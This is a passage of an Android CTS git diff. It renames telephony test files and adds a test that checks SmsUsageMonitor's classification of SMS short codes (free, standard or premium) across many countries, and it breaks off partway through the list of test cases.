+        assertRemaining(LONG_TEXT_WITH_32BIT_CHARS.length(), result[2],
+                maxChars);
+        assertEquals(SmsMessage.ENCODING_16BIT, result[3]);
+    }
+
+    @Test
+    public void testCalculateLengthFlags() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        int[] result = SmsMessage.calculateLength(LONG_TEXT_WITH_FLAGS, false);
+        assertEquals(2, result[0]);
+    }
+
+    private final static char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
+            'A', 'B', 'C', 'D', 'E', 'F' };
+
+    public static String toHexString(byte[] array) {
+        int length = array.length;
+        char[] buf = new char[length * 2];
+
+        int bufIndex = 0;
+        for (int i = 0 ; i < length; i++)
+        {
+            byte b = array[i];
+            buf[bufIndex++] = HEX_DIGITS[(b >>> 4) & 0x0F];
+            buf[bufIndex++] = HEX_DIGITS[b & 0x0F];
+        }
+
+        return new String(buf);
+    }
+
+    private static int toByte(char c) {
+        if (c >= '0' && c <= '9') return (c - '0');
+        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
+        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
+
+        throw new RuntimeException ("Invalid hex char '" + c + "'");
+    }
+
+    private static byte[] hexStringToByteArray(String hexString) {
+        int length = hexString.length();
+        byte[] buffer = new byte[length / 2];
+
+        for (int i = 0 ; i < length ; i += 2) {
+            buffer[i / 2] =
+                (byte)((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i+1)));
+        }
+
+        return buffer;
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsMessage_MessageClassTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessage_MessageClassTest.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/SmsMessage_MessageClassTest.java
rename to tests/tests/telephony/current/src/android/telephony/cts/SmsMessage_MessageClassTest.java
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsMessage_SubmitPduTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessage_SubmitPduTest.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/SmsMessage_SubmitPduTest.java
rename to tests/tests/telephony/current/src/android/telephony/cts/SmsMessage_SubmitPduTest.java
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsReceiver.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/SmsReceiver.java
rename to tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
new file mode 100644
index 0000000..969e9a6
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
@@ -0,0 +1,523 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.telephony.PhoneNumberUtils;
+
+import androidx.test.annotation.UiThreadTest;
+
+import com.android.internal.telephony.SmsUsageMonitor;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test cases for SMS short code pattern matching in SmsUsageMonitor.
+ */
+public class SmsUsageMonitorShortCodeTest {
+
+    private PackageManager mPackageManager;
+    private Context mContext;
+
+    /** Return value from {@link SmsUsageMonitor#checkDestination} for regular phone numbers. */
+    static final int CATEGORY_NOT_SHORT_CODE = 0;
+
+    /**
+     * Return value from {@link SmsUsageMonitor#checkDestination} for free (no cost)
+     * short codes.
+     */
+    static final int CATEGORY_FREE_SHORT_CODE = 1;
+
+    /**
+     * Return value from {@link SmsUsageMonitor#checkDestination} for standard rate (non-premium)
+     * short codes.
+     */
+    static final int CATEGORY_STANDARD_SHORT_CODE = 2;
+
+    /**
+     * Return value from {@link SmsUsageMonitor#checkDestination} for possible premium
+     * short codes.
+     */
+    static final int CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE = 3;
+
+    /** Return value from {@link SmsUsageMonitor#checkDestination} for premium short codes. */
+    static final int CATEGORY_PREMIUM_SHORT_CODE = 4;
+
+    private static final class ShortCodeTest {
+        final String countryIso;
+        final String address;
+        final int category;
+
+        ShortCodeTest(String countryIso, String destAddress, int category) {
+            this.countryIso = countryIso;
+            this.address = destAddress;
+            this.category = category;
+        }
+    }
+
+    /**
+     * List of short code test cases.
+     */
+    private static final ShortCodeTest[] sShortCodeTests = new ShortCodeTest[] {
+            new ShortCodeTest("al", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("al", "4321", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("al", "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("al", "15191", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("al", "55500", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("al", "55600", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("al", "654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("am", "112", expectedReturnCode("112")),
+            new ShortCodeTest("am", "101", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("am", "102", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("am", "103", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("am", "222", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("am", "1111", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("am", "9999", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("am", "1121", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("am", "1141", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("am", "1161", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("am", "3024", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("at", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("at", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("at", "0901234", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("at", "0900666266", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("au", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("au", "180000", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("au", "190000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("au", "1900000", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("au", "19000000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("au", "19998882", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("az", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("az", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "87744", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "3301", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "3302", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "9012", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "9014", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "9394", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "87744", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "93101", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("az", "123456", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("be", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("be", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("be", "567890", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("be", "8000", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("be", "6566", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("be", "7777", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("bg", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("bg", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("bg", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("bg", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("bg", "1816", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("bg", "1915", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("bg", "1916", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("bg", "1935", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("bg", "18423", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("by", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("by", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("by", "3336", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("by", "5013", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("by", "5014", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("by", "7781", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("ca", "911", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ca", "+18005551234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ca", "8005551234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ca", "20000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ca", "200000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ca", "2000000", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ca", "60999", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ca", "88188", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("ch", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ch", "123", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ch", "234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ch", "3456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ch", "98765", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("ch", "543", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ch", "83111", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ch", "234567", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ch", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("cn", "120", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("cn", "1062503000", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("cn", "1065123456", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("cn", "1066335588", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("cy", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("cy", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("cy", "4321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("cy", "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("cy", "654321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("cy", "7510", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("cy", "987654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("cz", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("cz", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("cz", "9090150", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("cz", "90901599", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("cz", "987654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("de", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("de", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("de", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "8888", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "11111", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "11886", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "22022", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "23300", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "3434", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "34567", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "41414", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "55655", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "66766", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "66777", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "77677", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "80888", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "1232286", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("de", "987654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("dk", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("dk", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("dk", "1259", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("dk", "16123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("dk", "987654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("ee", "112", expectedReturnCode("112")),
+            new ShortCodeTest("ee", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("ee", "123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ee", "1259", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ee", "15330", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ee", "17999", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ee", "17010", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ee", "17013", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ee", "9034567", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ee", "34567890", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("es", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("es", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("es", "25165", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("es", "27333", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("es", "995399", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("es", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("fi", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("fi", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("fi", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fi", "123456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fi", "17159", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fi", "17163", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fi", "0600123", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fi", "070012345", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fi", "987654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("fr", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("fr", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("fr", "34567", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("fr", "45678", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fr", "81185", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("fr", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("gb", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("gb", "999", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("gb", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("gb", "4567", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gb", "45678", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gb", "56789", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gb", "79067", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gb", "80079", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gb", "654321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gb", "7654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("ge", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ge", "8765", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ge", "2345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ge", "8012", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ge", "8013", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ge", "8014", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ge", "8889", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("gr", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("gr", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("gr", "54321", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gr", "19567", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gr", "19678", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("gr", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("hu", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("hu", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("hu", "012", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("hu", "0123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("hu", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("hu", "1784", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("hu", "2345", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("hu", "01234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("hu", "012345678", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("hu", "0123456789", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("hu", "1234567890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("hu", "0691227910", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("hu", "2345678901", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("hu", "01234567890", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("ie", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ie", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("ie", "50123", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("ie", "51234", CATEGORY_STANDARD_SHORT_CODE),
+            new ShortCodeTest("ie", "52345", CATEGORY_STANDARD_SHORT_CODE),
+            new ShortCodeTest("ie", "57890", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ie", "67890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ie", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("il", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("il", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("il", "4422", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("il", "4545", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("il", "98765", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("it", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("it", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("it", "4567", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("it", "48000", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "45678", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "56789", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "456789", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("kg", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("kg", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("kg", "4152", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("kg", "4157", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("kg", "4449", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("kg", "98765", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("kz", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("kz", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("kz", "9194", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("kz", "7790", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("kz", "98765", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("lt", "112", expectedReturnCode("112")),
+            new ShortCodeTest("lt", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("lt", "123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lt", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lt", "1381", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lt", "1394", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lt", "1645", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lt", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lt", "123456", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("lu", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("lu", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("lu", "1234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("lu", "12345", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("lu", "64747", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lu", "678901", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("lv", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("lv", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("lv", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lv", "1819", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lv", "1863", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lv", "1874", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("lv", "98765", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("mx", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("mx", "2345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("mx", "7766", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("mx", "23456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("mx", "53035", CATEGORY_PREMIUM_SHORT_CODE),
+
+            new ShortCodeTest("my", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("my", "1234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("my", "23456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("my", "32298", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("my", "33776", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("my", "345678", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("nl", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("nl", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("nl", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("nl", "4466", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("nl", "5040", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("nl", "23456", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("no", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("no", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("no", "2201", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("no", "2226", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("no", "2227", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("no", "23456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("no", "234567", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("nz", "112", expectedReturnCode("112")),
+            new ShortCodeTest("nz", "123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("nz", "2345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("nz", "3903", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("nz", "8995", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("nz", "23456", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("pl", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("pl", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("pl", "7890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pl", "34567", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pl", "7910", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pl", "74240", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pl", "79866", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pl", "92525", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pl", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("pt", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("pt", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("pt", "61000", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pt", "62345", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pt", "68304", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pt", "69876", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("pt", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("ro", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ro", "116117", CATEGORY_FREE_SHORT_CODE),
